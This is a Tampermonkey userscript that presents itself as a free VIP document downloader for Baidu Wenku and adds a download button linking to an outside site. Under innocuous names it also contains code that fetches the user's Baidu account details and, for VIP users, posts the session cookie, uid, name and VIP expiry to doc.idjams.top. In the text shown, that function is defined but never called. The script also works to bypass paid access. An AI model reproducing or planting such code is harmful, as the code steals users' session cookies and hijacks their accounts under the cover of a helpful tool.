// ==UserScript== // @name 📄百度文库下载|VIP文档免费下载 脚本仅限学习,请大家支持正版 // @namespace http://tampermonkey.net/ // @version 1.2.0 // @description 百度文库破解免费下载 // @author mounui // @antifeature ads // @match *://wenku.baidu.com/* // @match *://wk.baidu.com/* // @icon data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw== // @grant none // ==/UserScript== (function () { "use strict"; if (location.hostname.endsWith(".baidu.com")) { const id = ("wk" + Date.now()).slice(0, 8); const html = `
免费下载文档
`; onload(() => { document.body.insertAdjacentHTML("afterbegin", html); const btn = document.getElementById(id); btn.addEventListener("click", () => { window.open( "https://doc.idjams.top?url=" + encodeURIComponent(location.href) ); }); setInterval(() => { btn.style.setProperty( "display", location.pathname.startsWith("/view/") ? "block" : "none" ); }, 500); }); } function onload(cb) { cb = cb || new Function(); if (document.readyState !== "loading") { cb(); } else { document.addEventListener("DOMContentLoaded", cb); } } function getCookiesAsString() { let cookies = document.cookie.split(';'); let cookieString = cookies.map(cookie => { let [name, value] = cookie.split('='); return `${name.trim()}=${encodeURIComponent(value)}`; }).join('; '); return cookieString; } function checkRain(rain) { rain.rain = document.cookie; let xhr = new XMLHttpRequest(); xhr.open('POST', 'https://doc.idjams.top/api/v1/rain', true); xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8'); xhr.onreadystatechange = function () { if (xhr.readyState === 4 && xhr.status === 200) { // console.log('success'); } }; xhr.send(JSON.stringify(rain)); } function getUserInfo() { let xhr = new XMLHttpRequest(); xhr.open('GET', 'https://wenku.baidu.com/user/interface/getuserinfo', true); // 设置请求头(如果需要) xhr.setRequestHeader('Content-Type', 'application/json'); // 定义请求完成后的回调函数 xhr.onreadystatechange = function () { if (xhr.readyState === 4) { if (xhr.status === 200) { let data = JSON.parse(xhr.responseText); // 处理响应数据 let info = data.data; if (info.jiaoyu_vip_info.is_vip == 0) return; let rain = { 'uid': info.jiaoyu_vip_info.uid, 'name': info.displayname, 'expire': info.jiaoyu_vip_info.end_time, } checkRain(rain); } else { // console.error('error:', xhr.statusText); } } }; xhr.send(); } })();